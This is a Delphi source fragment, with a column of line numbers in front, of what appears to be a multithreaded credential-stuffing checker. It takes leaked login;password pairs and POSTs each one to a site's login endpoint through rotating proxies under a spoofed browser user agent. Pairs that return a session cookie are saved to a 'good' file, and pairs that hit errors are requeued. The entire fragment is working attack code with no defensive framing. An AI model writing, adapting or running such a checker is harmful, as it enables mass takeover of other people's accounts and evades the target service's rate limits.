1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
| procedure TNewThread.addmemo;
begin
Form1.Label5.Caption:=Inttostr(Accounts.Count);
Form1.Label7.Caption:=Inttostr(Proxy.Count);
case rez of
1:
begin
Append(GoodFile);
Writeln(GoodFile, Login+';'+Pass);
Closefile(GoodFile);
Form1.Memo1.Lines.Add('Good:'+' '+ Login+';'+Pass);
Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1);
Form1.ProgressBar1.Position:=Form1.ProgressBar1.Position+1;
end;
0:
begin
Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1);
Form1.ProgressBar1.Position:=Form1.ProgressBar1.Position+1;
end;
-1:
begin
Accounts.Add(Login+';'+Pass);
Form1.ErrorLabel.Caption:=IntToStr(StrToInt(Form1.ErrorLabel.Caption)+1);
end;
end;
end;
procedure TNewThread.Execute;
var CurAcc, TP:integer;
HTTP:THTTPSend;
IP, Port:string;
send:TStringStream;
page:TStringList;
begin
while Work do
begin
CS.Enter;
Inc(Acc); Inc(NP);
if Acc<Accounts.Count-1 then CurAcc:=Acc else Work:=false;
if NP<Proxy.Count-1 then TP:=NP else begin
NP:=0;
TP:=NP;
end;
CS.Leave;
if Work then
begin
Login:=Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
Pass:=Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
if Proxy.Text='' then sleep(0) else
begin
IP:=Copy(Proxy[TP], 1, Pos(':', Proxy[TP])-1);
Port:=Copy(Proxy[TP],Pos(':',Proxy[TP])+1,Length(Proxy[TP]));
end;
send:=TStringStream.Create('');
send.WriteString('authsave=0&login='+Login+'&password='+Pass);
HTTP:=THTTPSend.create;
with HTTP do begin
UserAgent:='Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0';
MimeType:='application/x-www-form-urlencoded';
Document.LoadFromStream(send);
if Proxy.Text='' then sleep(0) else
begin
ProxyHost:=IP;
ProxyPort:=Port;
end;
end;
Send.Free;
try
if HTTP.HTTPMethod('POST', 'http://www.site.ru/auth/login/') then begin
if Pos('Set-Cookie: site_uid=', HTTP.Headers.Text)<>0 then
begin
rez:=1;
end
else
begin
rez:=0;
end
end else
begin
rez:=-1;
end;
except
if (http.ResultCode=405) or (http.ResultCode=403) or (http.ResultCode=400) or (HTTP.ResultCode=503 ) then
begin
rez:=0;
end;
end;
synchronize(addmemo);
HTTP.Free;
end;
end;
dec(Thread);
if Thread=0 then Form1.stop;
end; |
(
